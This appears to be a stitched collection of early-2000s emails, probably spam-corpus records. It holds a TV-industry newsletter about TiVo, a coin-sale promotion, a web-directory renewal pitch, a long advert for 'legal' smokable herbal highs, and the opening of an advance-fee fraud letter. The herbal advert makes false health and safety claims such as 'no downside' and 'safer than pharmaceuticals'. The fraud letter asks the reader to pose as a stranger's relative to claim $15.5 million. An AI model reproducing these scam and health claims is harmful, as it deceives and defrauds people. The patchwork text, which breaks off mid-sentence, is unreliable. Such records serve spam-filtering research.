=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Coming Attractions! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= http://rs6.net/tn.jsp?t=tpysjsn6.e9iqjsn6.rqhvuqn6&p=http%3A%2F%2Fwww.tvpredictions.com The TVPredictions.com newsletter is published every Friday. Coming in future issues: * Donahue: Will He Survive the Cable News War? * What's Wrong -- and Right -- With Interactive TV? * Why HDTV Could Change Hollywood Forever * Who Will Win the Emmy? An Exclusive Forecast. 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TiVo: Now or Never? =09 =20 =20 =09TVPredictions.com Newsletter =09=A0=A0The #1 Newsletter on the Future of TV =09August 7, 2002=A0=A0 =09 =09 =09=09 =09=09 =09=09=09 =09=09=09 =09=09=09in this issue =09=09=09 =09=09=09 =09=09 =09=09 =09 =09 =09 =09=09 =09=09 =09=09=09 =09=09=09 =09=09=09Interactive TV Power Rankings! =09=09=09TiVo: Now or Never? =09=09=09Breaking News =09=09=09Coming Attractions! =09=09=09 =09=09 =09=09 =09=09 =09=09 =09=09=09 =09=09 =09=09 =09=09 =09=09Be a Star! =09=09 =09=09 =09=09By advertising today in TVPredictions' weekly newsletter! Reach more than 3,000 subscribers, including TV's top decision-makers. Promoting an Event? Selling a New Service? Looking for Brand Awareness? Well..advertise already!! Past advertisers include: American Film Institute The Carmel Group ISeeTV Iacta Espial Learn how YOU can reach our targeted audience, by clicking below or sending an e-mail to: advertising@ TVPredictions.com Be a Star!= =09=09 =09 =09 =09 =09=09 =09=09 =09=09=09=A0=A0 =09=09=09 Hi Everyone, =09=09=09First of all, I want to welcome those subscribers who are getting this newsletter for the first time. Here you will find hard-hitting commentary and analysis on issues related to the future of television. Whether it's Interactive TV, the battle between the cable news networks, the latest in the Emmy race, or the federal government's fight to promote HDTV, TV Predictions will give you the scoop -- before it actually occurs. And, as long-time subscribers will tell you, we pull no punches. (FYI -- TVPredictions.com, based in Los Angeles, is owned and managed by Phillip Swann, author of ""TV dot Com: The Future of Interactive Television."" He has been quoted as an expert on TV issues in publications such as The Hollywood Reporter, Variety and Electronic Media.) Now, in this issue, we offer an all-new edition of... the Interactive TV Power Rankings! Plus: Why TiVo desperately needs to boost its sub numbers during the next five months. And, the latest news on the future of TV. =09=09=09 =09=09=09 =09=09 =09=09 =09=09=09 =09=09 =09=09 =09=09=09 =09=09 =09=09 =09=09=09 =09=09 =09=09 =09 =09 =09 =09=09 Interactive TV Power Rankings!= =A0=A0Every week,= we publish the Interactive TV Power Rankings. We rank the 10 companies that are benefiting most from the deployment of new TV technology. This week's highlights: Will the FCC approve the Echostar-DIRECTV merger?; why did Cox scale back its Video on Demand plans?; why did Liberty Media buy a cable company in the Netherlands?; and who at NBC is smoking crack? Find out in this all-new edition of... The Interactive TV Power Rankings!Interactive TV Power Rankings! =20 TiVo: Now or Never?=A0=A0Ready for this? The next five months could determine whether=20 TiVo, the Personal Video Recorder service, ultimately survives as a business. TiVo, which launched five years ago, has less than 500,000 subscribers. The company's stock dipped below three this week. And network execs are openly questioning whether the digital recorder, which permits skipping commercials with a few clicks of the remote, will destroy their advertising models. There even have been hints that the networks could support a move by the cable industry to offer a PVR that does not permit commercial skipping. And that PVR would not be a TiVo. To its credit, TiVo has been remarkably successful at building brand loyalty and awareness. TiVo reports that 97 percent of its subscribers have recommended the service to a friend. And when people talk about PVRs, they say TiVo. (Just like the way people say ""Coke"" when they talk about soft drinks. ) But Wall Street, the media and the industry are all growing impatient. TiVo needs to start putting some big numbers on the board -- and it needs to do it this holiday season. If it doesn't, stock analysts who have supported TiVo until now will run for the hills. That will push the company's stock price down even further. And if that happens, TiVo could have just two choices: Sell the company under duress or wait until its funding dries up. Consequently, I predict that TiVo will launch an intensive marketing blitz over the next five months, right through the holiday season. The blitz will include a sharp increase in retail distribution, TV advertising and PR efforts. The company needs to show Wall Street -- and the industry -- that it will be the brand leader in the PVR category. And it needs to show that it can generate mass consumer demand. How does TiVo demonstrate that? Anything short of 750,000 subs at year's end will have people questioning whether TiVo has the right stuff. Cable execs, who are watching TiVo closely, might decide that adding the service is not such a great selling point after all. And Echostar, which currently does not have an agreement with TiVo, may decide to stay with its unbranded PVR service after its merger with DIRECTV is approved in D.C. (TiVo currently has a partnership with DIRECTV, but it's unclear what will happen to the deal if the merger is approved.) So there is much at stake -- and it's not extreme to say that TiVo's ultimate future could be decided in the next several months. Will it succeed? I predict that TiVo will achieve a partial success. The company will boost its subscriber numbers and it will maintain its claim as the #1 PVR service. However, in time, I also predict it will decide to sell the company to a large media outfit, such as Sony or perhaps even Liberty Media. This would give TiVo the necessary funding and industry connections for long-term growth and survival. To see more predictions on the future of TV, click below! TiV= o: Now or Never? =20 =09=09 Breaking News=A0=A0Did you know that... * Cox Cable has decided to slow down its roll-out of Video on Demand? * Consumers have no idea what HDTV is all about, according to a new study? * One top network exec says viewers may soon have to pay for off-air, free TV? * According to the Associated Press, the cable news networks may be spreading fear in our culture? * Las Vegas says West Wing's Martin Sheen is a shoo-in for a Best Actor Emmy? These are just some of the many stories now available for reading at TVPredictions.com You can also read our prediction on CNN and Larry King, our expose of Forrester Research and Josh Bernoff, and perhaps our most provocative story, ""Sex and the Interactive TV."" Click below to get the latest on the future of TV! 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For this week only, we are offering 10 different dates, VF or better, = for only $15 or 10 Different dates, solid XF or better, for only $45. = Dealers/Investors - Buy a nice roll of 50, with at least 10 different = dates in each roll. VF roll of 50, only $69. XF roll of 50, only $195. = Limit: 5 rolls of each per customer at these low wholesale prices. =20 We also have some really nice Choice BU (MS 63 or better) $21/2 Indian = Gold coins from 1908-1929 for only $395 each (our choice of date, but we = will pick out the best quality) 3 different for only $950 or 10 = different for $2,950. Limit: 10 per customer. =20 Please add $6 to help with postage and insurance on all orders. =20 Thank you again, Cristina www.collectorsinternet.com P.S. One of our most popular items this month has been our wholesale=20 bargain boxes, found half way down our homepage or at=20 http://collectorsinternet.com/wholesalebargainbox.htm. We are getting = many=20 repeat orders from other dealers. You can save time and postage by = adding=20 this item, or any other items we have on sale to your other purchases, = as=20 there is only a $6 postage and handling fee per order, regardless of = size.=20 ------=_NextPart_000_0070_01C29634.08C7C1D0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable We want to thank you for your past = business and=20 wish you and yours a very Happy Thanksgiving Holiday this year.  As = you=20 know, Indians played an important role in helping the pioneers find food = and=20 water.  No small wonder they were honored on our nation's cents = from 1859=20 to 1909 and gold coins from 1854 to 1933.   As a way of = giving=20 thanks to our customers, we just bought in a rare batch of 900 VF = and XF=20 Indian Cents and are offering these on special for this week.  Nice = mixture=20 of dates from the 1880s to 1909.   Our regular wholesale price = for=20 solid VF coins is $1.95 and $6.00 for solid XF. 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Simply select the option you prefer on the renewal form. (Unfortunately, we cannot cash overseas checks at this time.) Who listed us? When did our listing start? We do not know. Sorry. We only began to track listing contacts and dates this year. How much did we pay to be listed? Originally you couldnt buy a listing--you had to wait for our editors to select you as one of the top sites in your category. Do we have a contract with you? We dont ask our customers to sign contracts for a $5 a month service. Can you call me and tell me more? We are happy to answer all your questions by email but we dont contact our customer by phone at this time. Sorry. Can I still renew after your deadline? We give our customers a month to renew so dont worry too much about the deadline. How do I see my listing? I couldnt find it when I searched. You can go to www.topsitez.us and click on the categories until you get to /Top/Computers/Software/Operating_Systems/Linux/Projects/Internet. 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I can change my message 24 hours a day so it is always up-to-date. And everyone who sees it is a pre-qualified prospect."" --N.B., CEO, My News (my-news.org)     FREQUENTLY ASKED QUESTIONS     Can I change my listing? You can change your listing now or later. You can rewrite the headline and description before renewing. You can change the URL tooeven to another website. Once we receive payment, we will send you instructions on how to change your listing whenever you like. (Theres no charge to do this.) Can I change my category? Can I list my site in additional categories? Can I list other sites too? You can list as many sites in as many categories as you like. Each listing costs only $5 per month per category. Just go to www.topsitez.us. Click on the category links until you find the one you want (or search on your keywords). Click on the Add My Site link. Then type your listing. If your old listing was in the wrong category, you can click unsubscribe to cancel it. How much does a listing cost? Can I renew for free? It costs $5 a month to list your site in TopSites. We no longer offer any free listings. We will bill you $60 for 12 months. There are no additional costs. You can change your listing as often as you like for free. You can cancel your listing anytime and we will refund your remaining money. How do I pay? You can pay with a check from any country. (Simply convert the amount to your local currency.) Or you can pay by Visa, MasterCard or American Express. Simply select the option you prefer on the renewal form. Who listed us? When did our listing start? We do not know. Sorry. We only began to store listing contacts and dates this year. How much did we pay to get listed? Originally you couldnt buy a listingyou had to wait for our editors to select you as one of the top sites in your category. Do we have a contract with you? We dont do contracts for a $5 service. Can you call me and tell me more? We are happy to answer all your questions by email but we dont contact our customer by phone at this time. Sorry. Can I still renew after your deadline? We give our customers a month to renew so dont worry too much about the deadline. How do I see my listing? I couldnt find it when I searched. To save you time, I have included your listing at the end of this email. Or you can see it on our website by clicking your listing. Or you can go to www.topsitez.us and click on the categories until you get to /Top/Computers/Software/Operating_Systems/Linux/Projects/Internet. You can also see it at www.topsitez.us by entering two or more keywords from your listing into our search form. Since we have more than three million listings, you probably wont find your listing by searching on only one word. And you definitely wont find it if you search on words that are not in your listing. What keywords display my listing? How do I change them? Every word in your listing is a keyword. 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We have three (3) NEW Renegade Botanicals From Exotic Botanical Resources, the ethnobotanical herbalists who brought the herba supplementals Kathmandu Temple Kiff 1 & 2 Personal Choice, pipe-smoking products/substances to the common market! Announcing: 1. Temple 3 Ragga Dagga (tm) 2. Aqueous Kathmandu (tm) 3. Stoney Mahoney (tm) *********************************** TEMPLE 3 RAGGA DAGGA *********************************** We are finally able to offer for your Sensitive/Responsive, Personal Choice Smoking Enjoyment, the Temple 3 Ragga Dagga (tm) Pipe-Smoking Substance Supplemental Product. Introduced after three years of research and development, Temple 3 is Personal Choice, legal Smoking/Indulgence Redefined!!! Thanks to recent, dramatic, technological advances in the laboratorial processes for the extraction of alkaloid and glycocide supplements from botanicals/herbas/plant matter, we are now able to offer, in more cultivated/enhanced/viripotent/substantiated format, what had actually already been the most significant, lawful, Personal Choice smoking substance available on the planet. Temple 3 Ragga Dagga (tm) is the sweet, sweet evolution of all of that. * A 20 X more viripotent herba supplement than its predecessors (Temple 1 & 2)! * Happier, happy smoking! * Indeed, a depressive/regressive, supplemental mood-enhancer. * More sophisticated, uplifting & poised than illegal smoking substances. * NO regulation; NO illegality; NO failed drug tests! * Inhibits stress & anxiety! * Inspires conteplativeness & creativity! * Ehances the sexual experience! * Generates more restful sleep & lucid dreaming! * A significant herba/botanical supplement in the battles against drug & alcohol dependence! * Easily ignited & stoked. * Smokes sweetly! * Absolutely legal; non-invasive; no downside! * Lingers for a good, goodly while! * Possesses many fine ganja virtues with none of the negatives! * Just a little snippet/pinch goes a long, long way. Just 4 or 5 draws of your pipe (a traditional hand herb-pipe is included with each package of Temple 3 Ragga Dagga). Temple 3 Ragga Dagga (tm) is an exclusive, botanical/herba, proprietary, Nepalese-formulated, ""Sensitive/Responsive"" pipe-smoking/stoking substance, and it is undoubtedly the most prestigious, legal offering of its sort on the planet! So smokin' stokin' potent is this cutting edge formulation, that we have even been able to establish a very happy clientele market base within the hard-core stoner arena and have made positive, happy, smoking differences in many, many lives. ABSOLUTELY LEGAL! MARVELOUSLY POTENT!! A one-of-a-kind, proprietary amalgamation, comprised of extreme high-ratio concentrated extracts which are derived from various common and uncommon ""sensitive/responsive"" herbas primarily cultivated within and imported from the southern and eastern hemispheres ... Temple 3 Ragga Dagga (tm) high-ratio, factored, botanical extractions are master-crafted into solid jiggets/bars which are structurally reminiscent of what one might find in the ""happiness"" coffee and tea houses of Nepal, Kathmandu or Amsterdam, and in many aspects, possesses a more collected and more focused, less-scattered ambience. Ingredients: Temple smoking substances and Temple 3 Ragga Dagga (tm) have always been and will always remain exclusive EXOTIC BOTANICAL RESOURCES ""House Smoking Substance Specialties."" Temple 3 Ragga Dagga (tm) is both a euphonious/celebratory and relaxing/calming pipe-smoking substance that offers both physical and cerebral significators. Temple 3 Ragga Dagga (tm) is a proprietary, prescribed botanical amalgamation which includes the following synergistically/synesthesia conglomerated, core-refined, ratio-enhanced herbas/botanicals, resins, essences, flower-tops and oils in extreme ratio extractment ranging from 8.5 to 1, to 100 to 1 viripotent concentrations Drachasha, Chavana Prash, Trikatu, Black Seed Herb, Hybrid Flowering Turnera Diffusa, Capillaris Herba, Angelica Root, Wild Dagga mature leaf matter, Haritaki, Shatavari, Labdunum, Neroli, Unicorn Root, Papaver Rhoes, Dendrobian stems, Calea Zacalechichi buddings, Rue, Amla, Salvia Divinorum, Crocus Sativa, Lotus and Gokshura cuttings. Please Note: Temple 3 Ragga Dagga (tm) is an absolutely legal, herba/botanical, ""Personal Choice,"" pipe-smoking substantiality product! No included botanical factor therein is regulated by law or considered to be harmful by regulatory agencies. There is no tobacco in Temple 3 Ragga Dagga (tm). There is certainly no cannabis/marijuana in Temple 3 Ragga Dagga (tm). And although we are not age-governed by law, Temple 3 Ragga Dagga (tm) is intended exclusively for sophisticated adult usage! Subsequently, it is our MANDATORY ethical policy that Temple 3 Ragga Dagga (tm) may not be sold, offered, or given to any person that has not attained at least twenty-one years of age. All things in their time. As well, Temple 3 Ragga Dagga (tm) is not intended for use during work or while driving. It should not be enjoyed during pregnancy nor is it intended to supercede physician's care in any regard. ********************************* AQUEOUS KATHMANDU ********************************* For those who choose not to smoke ... we have something for you. Introducing Aqueous Kathmandu ""Happy Drops"" (tm). Aqueous Kathmandu (tm) ""Sensitive/Responsive"" Happiness Drops....(Temple ""Quantum"" Variety)....Indeed; a Happiness Brew from the Kathmandu....a.k.a. ""Secret Fire""....from a toke-smoke point of view, if you know what I mean and be groovin' the scene.... Who du the Kathmandu? Now....everybody can du the Kathmandu! (that is, if you're 21 years of age or older....) Aqueous Kathmandu is engaged to holistically inspire and instill ""sensitive/responsive""; happiness and mellowness without the detriment of carcinogenic inhalation (smoking). Aqueous Kathmandu is absolutely legal and does not contain any controlled, considered to be harmful or regulated herbs or cannabis/marijuana factors!!!! As ""smoking"" has become so socially taboo over the years and as so many people have asked us for a liquid product, we have long strived to bring a quantum-factored/concentrated liquid product to fruition. This has been no easy task for a variety of botanical and technological reasons. Finally; we are able to say that this task has been accomplished....a ""Sensitive"" herbal/botanical awakening, if you will....as we have introduced and brought to market Aqueous Kathmandu (tm) Happiness Drops, Temple ""Quantum"" Variety, a.k.a....""Secret Fire"". ""Secret fire""....indeed!!! This liquid innovation affords us four factors within this particular botanical equation that were previously not realized.... 1) The ability to engage a more substantial, high-ratio, concentrated application of particular botanical factors that are utilized in our personal-choice, ""sensitive/responsive"" pipe-smoking product. 2) The ability to extract high-ratio concentrates of certain botanical factors that are not applicable to a smoking commodity, as they cannot be extracted into dry format. (Please note....all botanical factors included in all/any of our products are absolutely legal. In the instance of Aqueous Kathmandu, we are simply able to enjoy the advantages of specific legal herbas that just are not dry concentrate-applicable. 3) A most notable assimilation factor....being that liquid is more easily and therefore more generally metabolistically assimilated and as such, more ""absolute""; in that herba/botanical applications via the administrative vehicle of ""Smoke"" possess a much wider variance in just how efficiently that ""Smoke"" is integrated metabolistically, psychologically and perspectively 4) Therein, we have created a unique uniqueness between a ""Smoke"" and a ""non-Smoke""....sort of like the camaraderie between indicas and sativas, if you will....different aspects of the same botanical genus arrangement. Each ""impeccable"" singularly.... And at this juncture we will also mention to those of you who are not so anti-smoking something....that Aqueous Kathmandu (tm) Happiness Drops and the more traditional Temple ""3"" Ragga Dagga (tm) personal-choice, pipe-smoking substance indeed establish an enchanting ""camaraderie"". (Please refer to, ""Introductory Offers"".) * No need to smoke. No carcinogenic factors! * Absolutely legal! No prescription required! * Does not include cannibis or any tobacco variety. * Marvelously potent. Remarkably substantial! * Inspires contemplativeness and creativity! * Adjusts attitude & mood enhancement. Relaxes stress & anxiety. * Better than Kava Kava, St. John's Wort, etc. Similar to but variant from Ragga Dagga. * Certainly safer than pharmaceuticals! * Many fine ganja virtues with none of the negatives! * Better sleeping ... better dreaming. * Non-invasive ... no downside. * An exquisite compliment with Temple 3 Ragga Dagga (tm) -- (See Intro Offers) * Quite simply ... it is a Superior product! Contents: Aqueous Kathmandu is a unique botanical substantiality. It is offered and marketed as such. Undisputedly, it achieves ""distinctive accolade"" of its own merit.... Aqueous Kathmandu is absolutely legal and does not contain any controlled or regulated or harmful herbs or cannabis factors. However, it is our mandatory ethical policy that Aqueous Kathmandu not be offered to individuals who have not yet attained at least 21 years of age (all things in their time....). Please note as well that Aqueous Kathmandu is not intended for usage during work or while driving. And, as is true of all substance and indulgence, this product should not be enjoyed during pregnancy. This proprietary formulation does include the following quantum-ratio, core-extracted/refined botanicals in an alcohol base as a preservative: Albizzia flower-tops, Drachsha, Chavana Prash, Lactuca Virosa, Hybrid Flowering Turnera Diffusa, Wild Dagga, Capillaris Herba, Angelica Root, Zizyphi Spinosae, Buplerum, Hybrid Valeriana officinalis Root, Albizzia flower-tops, mature Polygonum Vine, Calea Zacatechichi, Crocus Sativa flower-tops, Leonorus Sibricus buds, Cinnabaris, Margarita herba, Biotae Orientalis, Salviae Miltiorrhizae.... Usage Instructions: Shake well. Mix 30-50 drops with juice or water (best on empty stomach). Ambiance lasts about two hours or so. Not intended for use during pregnancy or while working or driving. Keep out of reach of children. ************************** STONEY MAHONEY ************************** In regard to the introduction of Stoney Mahoney (tm) ""personal choice"" smoking substantiality product, we have strived for years to develop a consummate ""Sensitive/Responsive"" (loose-leaf) smoking product, ""Amsterdam Cup"" style so to speak! With acquired knowledge via the development of such notable ""personal choice"" smokeables, as Wizard Smoke (tm), Dream Smoke (tm), Dragon Smoke (tm), Vajroli Mudra (tm), Stashish (tm), ShemHampHorash (tm), Yerba lena Yesca (tm), Weed (tm), Kathmandu Temple Kiff (tm) 1 & 2 & 3, which for the most part have been proprietary formulations, of which the rights have been sold to other less aggressive, less developmental companies, we arrived at the lofty ""personal choice"" smoking status of our premier Ragga Dagga (tm) solid pipe-smoking product. After all of this, we had come to the technological and philosophical point of view that we could not conjure a loose-leaf formulation that would provide effectuality that would be more significant than that of our much-heralded Ragga Dagga (tm) solid-format pipe smoking product. Mostly, we were right about this, as this new Stoney Mahoney ""agenda"" is not so much significant as in ""better"", but ""Signature Significant"" as in ""uniqueness,"" in that we chanced upon a new world class, botanical source for the rare ""true-brid"" variety of Artemisia absinthum (flowering tops only), which at one time in history was distilled into ""Absinthe,"" a greenish, aniseed flavored liqueur which heralded certain euphoric and narcotic attributes which ultimately resulted in it being declared illegal. As well, we have finally perfected our exclusive ""kiffening"" technique, which inspires and establishes alkaloid and glycoside potentiation (enhancement) on a molecular level. Hence, we introduce (although supply is limited) this highly ""potentiated"" Stoney Mahoney (tm) smoking product! Loose-leaf ""personal choice"" doesnt get any ""sweeter"" than this! And for all of you Ragga Dagga fans, please note that, indeed, it isnt so much that Stoney Mahoney loose-leaf is more viripotent than the Ragga Dagga solid-format. Moreover, it is that Stoney Mahoney is effective in a much different way than Ragga Dagga. Sort of like apples and oranges, like Panamanian and Jamaican, like Indica and Sativa, if you will! Within our test marketing, even traditional ""Kind Bud"" aficionados have magnanimously acclaimed this Stoney Mahoney jester variety. Most folks say that Ragga Dagga motivates them in an up ""Sativa"" sort of way, and that Stoney Mahoney mellows them out or giggles them out in a ""soma,"" Indica sort of way. If Stoney Mahoney has any shortcoming at all, it is quite simply that due to the extreme ""kiffening"" of this product, it may be to the uninitiated practitioner, a harsh draw. It is for this reason that in addition to the inclusion of a standard herb pipe and package of rolling papers, we also include a brass, personal water-pipe (hookah). As is true for many high-minded folks, a water-pipe filled with chilled water or wine will temperament the demonstrativeness of Stoney Mahoneys draw. * Indica oriented. * Definitely happy smoking! * Mood enhancer. * Smokeable & brewable mood food! * Good-bye stress, anxiety, & restlessness. * Sleep deep -- Good-bye funky dreams! * Hornier than horny goatweed! * Superlative mixer with Ragga Dagga and/or Aqueous Kathmandu. * Roll it or bowl it or brew it ... * Just a pinch goes a long, long way ... * Possesses many fine ganja virtues with none of the negatives. * Non-invasive. * Absolutely Legal! * Rolling papers, herb pipe & personal brass water pipe (hookah)are included. Attention! Attention! We have, by popular demand and in the interest of good economics, created an introductory offer that features both Ragga Dagga and Stoney Mahoney products and, also, still another introductory offer which includes Ragga Dagga, Stoney Mahoney and, for you non-smokers, our Aqueous Kathmandu Happiness Drops (these are pretty special!). And to mention furthermore, for non-smokers, Stoney Mahoney (Jester Variety) loose-leaf product is also a brewable delight. A tea for thee.) Please Note: Stoney Mahoney (Jester Variety) (tm) is an absolutely legal, herba/botanical, ""Personal Choice,"" loose-leaf substantiality smoking product! No included botanical factor therein is regulated by law or considered to be harmful by regulatory agencies. There is no tobacco in Stoney Mahoney (Jester Variety) (tm). There is certainly no cannabis/marijuana in Stoney Mahoney (Jester Variety) (tm). And although we are not age-governed by law, Stoney Mahoney (Jester Variety) (tm) is intended exclusively for sophisticated adult usage! Subsequently, it is our MANDATORY ethical policy that Stoney Mahoney (Jester Variety) (tm) may not be sold, offered, or given to any person that has not attained at least twenty-one years of age. As well, Stoney Mahoney (Jester Variety) (tm) is not intended for use during work or while driving. It should not be enjoyed during pregnancy nor is it intended to supercede physician's care in any regard. Stoney Mahoney (Jester Variety) (tm), factored in an Absinthium Labyrinthine Configuration, is an exclusive, kiffened, loose-leaf, primo modino, ""Sensitive/Responsive,"" Smoking and/or Brewing Herba which may be, depending upon preference, rolled or bowled or brewed. As is an herbalists way, three or four draws of Smoke should be inhaled and retained. For the non-smoker, it is most appropriate to engage this herba as a potentiated tea/brew. (Steep approximately one tea-spoon of Stoney Mahoney herba per one cup of water for ten minutes or so & strain.) When smoking Stoney Mahoney, please draw gently as Stoney Mahoney is a most preeminent ""Sensitive/Responsive"" Smoke and may be considered to be a harsh draw to the uninitiated practitioner. (Water-pipe is included with each package of Stoney Mahoney (Jester Variety).) Stoney Mahoney contains and is kiffened with the following exotica botanicals and botanical extracts & essences: Dutch Lactuca virosa, Bulgarian Artemisia absinthum (flowering-tops only), Yucatan Turnera aphrodisaca, Chinese Valeriana ceae, Jamaican Verbena officinalis, Spanish Peumus boldo, and European (flowering-tops only) Sarothamnus Scoparius. Stoney Mahoney does not include any tobacco or any cannabis factors. Stoney Mahoney does indeed achieve distinction upon its own merit.... ************************************************* ************************************************* We offer other fine herbal, botanical products including the following: 1. Sweet Vjestika Aphrodisia Drops (tm); An erotic aphrodisia; sexual intensifier / enhancer liquid amalgamated extract for MEN and WOMEN. 2. ""Seventh Heaven"" Prosaka Tablets (tm); a botanical alternative to pharmaceutical medications for calm, balance, serenity and joyful living ... 3. ""Seventh Heaven"" Gentle Ferocity Tablets (tm); a most efficacious, non-caffeine, non-ephedrine, non-MaHuang botanical energizer and cutting-edge appetite suppressant... 4. Extreme Martial Arts Botanical Remedies; Equivalence Tablets & Dragon Wing Remedy Spray ... pain management that works to alleviate pain even for arthritis and fibromyalgia sufferers... 5. Cockle Doodle Doo (tm) Penile Restorative/Renewal/Enhancement Souffle' ... an exclusive, proprietary blendage created to dramatically/emphatically, aggrandize/enhance & age-inhibit penile skin quality and vascular composure. Soothes, refreshes, provides a youthful Glow & Go sensitivity. 6. ""Hairricane"" (tm) -- an Extreme High-Ratio, Dry Botanical Extract Herba Dietary Hair Supplement for Men & Women ======================================================== PRICING INFORMATION: 1. TEMPLE 3 RAGGA DAGGA (tm) One .75 oz. jigget/bar $65.00 One 2.0 oz. jigget/bar $115.00 2. AQUEOUS KATHMANDU ""HAPPY DROPS"" (tm) One - 2 oz. bottle (90+ usages) $115.00 Two - 2 oz. bottles $170.00 3. STONEY MAHONEY (tm) Jester Variety Loose Leaf One - 2 oz. package $150.00 Two - 2 oz. packages $225.00 Each 2 oz. package of Stoney Mahoney includes 1 pkg. of clipped-rolling papers, a traditional herb pipe & a brass, personal water-pipe (hookah). Sorry, but due to a limited supply of Stoney Mahoney (Jester Variety) only a maximum purchase of two - 2 oz. packages per customer is allowed per order. 4. SWEET VJESTIKA APHRODISIA DROPS (tm) One 1.0 oz. bottle $90.00 Two 1.0 oz. bottles $140.00 5. SEVENTH HEAVEN PROSAKA (tm) One 100 tablet tin $40.00 Three 100 tablet tins $105.00 Six 100 tablet tins $185.00 6. SEVENTH HEAVEN GENTLE FEROCITY (tm) One 300 tablet jar $130.00 7. Equivalence Tablets - Each bottle contains 90 - 500mg tablets. ** 3-pack (270 tablets) $83.00 ** 6-pack (540 tablets) $126.00 (save $40.00) ** 9-pack (810 tablets) $159.00 (save $90.00) ** 12-pack (1,080 tablets) $192.00 (save $140.00) 8. Dragon Wing Spray Remedy - Each spray bottle contains 4 liquid oz. ** 3-pack (3 - 4 oz. bottles) $83.00 ** 6-pack (6 - 4 oz. bottles) $126.00 (save $40.00) ** 9-pack (9 - 4 oz. bottles) $159.00 (save $90.00) ** 12-pack (12 - 4 oz. bottles) $192.00 (save $140.00) 9. Dynamic Duo Introductory Offers ** 3-pack Equivalence Tabs & 3-pack Dragon Wing $126.00 (save $40.00) ** 6-pack Equivalence Tabs & 3-pack Dragon Wing $159.00 (save $50.00) ** 9-pack Equivalence Tabs & 6-pack Dragon Wing $215.00 (save $70.00) ** 12-pack Equivalence Tabs & 9-pack Dragon Wing $271.00 (save $80.00) 10. COCKLE DOODLE DOO (tm) Souffle One (1) 2 oz. jar .......... $92.00 Two (2) 2 oz. jars ......... $176.00 Six (6) 2 oz. jars ......... $320.00 11. ""HAIRRICANE"" (tm) ** 3 Pack (3 bags of 90 capsules each)..... $102.00 ** 6 Pack (6 bags of 90 capsules each)..... $174.00 (SAVE $30) ** 12 Pack (12 bags of 90 capsules each).... $288.00 (SAVE $40) 12. ALPHA INTRODUCTORY OFFER * One (1) 2 oz. pkg. of Stoney Mahoney * One (1) 2 oz. jigget/bar of Temple 3 Ragga Dagga Price: $190.00 (Reg. $265.00 Save $75) 13. BETA INTRODUCTORY OFFER * One (1) 2 oz. pkg. of Stoney Mahoney * one (1) 2 oz. pkg. of Temple 3 Ragga Dagga * One (1) 2 oz. bottle of Aqueous Kathmandu Happiness Drops Price: $240.00 (Reg. $380.00 Save $140) 14. INTRO OFFER ""A"" * One (1) 2.0 oz. jigget/bar of Temple 3 Ragga Dagga * One (1) tin (100 tablets) of Seventh Heaven Prosaka * One (1) jar (300 tablets) of Seventh Heaven Gentle Ferocity Price: $200.00 (Reg. $285.00 Save $85) 15. INTRO OFFER ""B"" * One (1) 2.0 oz. jigget/bar of Temple 3 Ragga Dagga * One (1) jar (300 tablets) of Seventh Heaven Gentle Ferocity. Price: $170.00 (Reg. $245.00 Save $75) 16. INTRO OFFER ""C"" * One (1) 2.0 oz. jigget/bar of Temple 3 Ragga Dagga * One (1) tin (100 tablets) of Seventh Heaven Prosaka. Price: $125.00 (Reg. $155.00 Save $30) 17. INTRO OFFER ""D"" * One (1) 2.0 oz. jigget/bar of Temple 3 Ragga Dagga * One (1) 1 oz. bottle of Sweet Vjestika Aphrodisia Drops. Price: $150.00 (Reg. $205.00 Save $55) 18. INTRO OFFER ""E"" * One (1) 2.0 oz. jigget / bar of Temple 3 Ragga Dagga * One (1) 1 oz. bottle of Sweet Vjestika Aphrodisia Drops * One (1) tin (100 tablets) of Seventh Heaven Prosaka * One (1) jar (300 tablets)of Gentle Ferocity Price: $260.00 (Reg. $375.00 Save $115) 19. INTRO OFFER ""F"" * One (1) 2 oz. jar of Cockle Doodle Doo Souffle' * One (1) 2 oz. jigget/bar of Temple 3 Ragga Dagga * One (1) 1 oz. bottle of Sweet Vjestika Love Drops Regular Price $297.00. Yours for only $197.00. SAVE $100.00! 20. INTRO OFFER ""H"" * One (1) 2 oz. bottle of Aqueous Kathmandu * One (1) 2 oz. bar/jigget of Temple 3 Ragga Dagga Price: $155.00 (Reg. $230.00 Save $75) 21. INTRO OFFER ""I"" * One (1) 2 oz. bottle of Aqueous Kathmandu * One (1) 2 oz. bar/jigget of Temple 3 Ragga Dagga * One (1) 1 oz. bottle of Sweet Vjestika Price: $235.00 (Reg. $320.00 Save $85) 22. INTRO OFFER ""J"" * One (1) 2 oz. bottle of Aqueous Kathmandu * One (1) 2 oz. bar/jigget of Temple 3 Ragga Dagga * One (1) 1 oz. bottle of Sweet Vjestika * One (1) 300 tablet jar of Gentle Ferocity Price: $295.00 (Reg. $450.00 Save $155) 23. INTRO OFFER ""K"" * One (1) 2 oz. bottle of Aqueous Kathmandu * One (1) 1 oz. bottle of Sweet Vjestika Price: $150.00 (Reg. $205.00 Save $55) ************************************************** ORDERING INFORMATION: For your convenience, you can call us direct with your orders or questions. Call 1-623-972-5999 Monday - Saturday -- 9:00 AM to 6:00 PM (Mountain Time) For all domestic orders, add $7.00 shipping & handling (shipped U.S. Priority Mail). Add $22.00 for International orders. ==================================================== To remove your address from our list, click on the following link and send a blank email. mailto:adsub68@btamail.net.cn?subject=Remove",1,0 """wilsonkamela400@netscape.net"" ",ilug@linux.ie,"Wed, 04 Dec 2002 06:07:07",[ILUG] WILSON KAMELA,"ATTN:SIR/MADAN STRICTLY CONFIDENTIAL. I am pleased to introduce myself to you.My name is Mr. Wilson Kamela a native of South Africa and a senior employee of mines and natural resources department currently on a trainning course in Holland for few months. I am writing this letter to request your assistance in order to redeem an investment with the South African mining Corporation.The said investment, now valued at ($15.5 million dollars ) Fifteen million,five hundred thousand dollars only was purchased by Lucio Harper and contracted out to the South African Mining Corporation in 1977 now recognised as mines and natural resources department.This redeemable investment interest,has now matured since March last year. Since MARCH last year, several attempts have been made to contact Lucio Harper without success and there is no way to contact any of his close relatives in whose favour the investment cash value can be paid. Since we have access to all Lucio Harper's information,we can claim this money with the help of my partners with the South African Mines and natural resources department.All we have to do is to file claim using you as Lucio Harper's relative. I will like to assure you that there is absolutely nothing to worry about,because it is perfectly safe with no risk involved.Please ensure to keep this matter strictly confidential.My partner will file a claim for this money on your behalf from the SouthAfrican mining Corporation.When the claim is approved,you as the 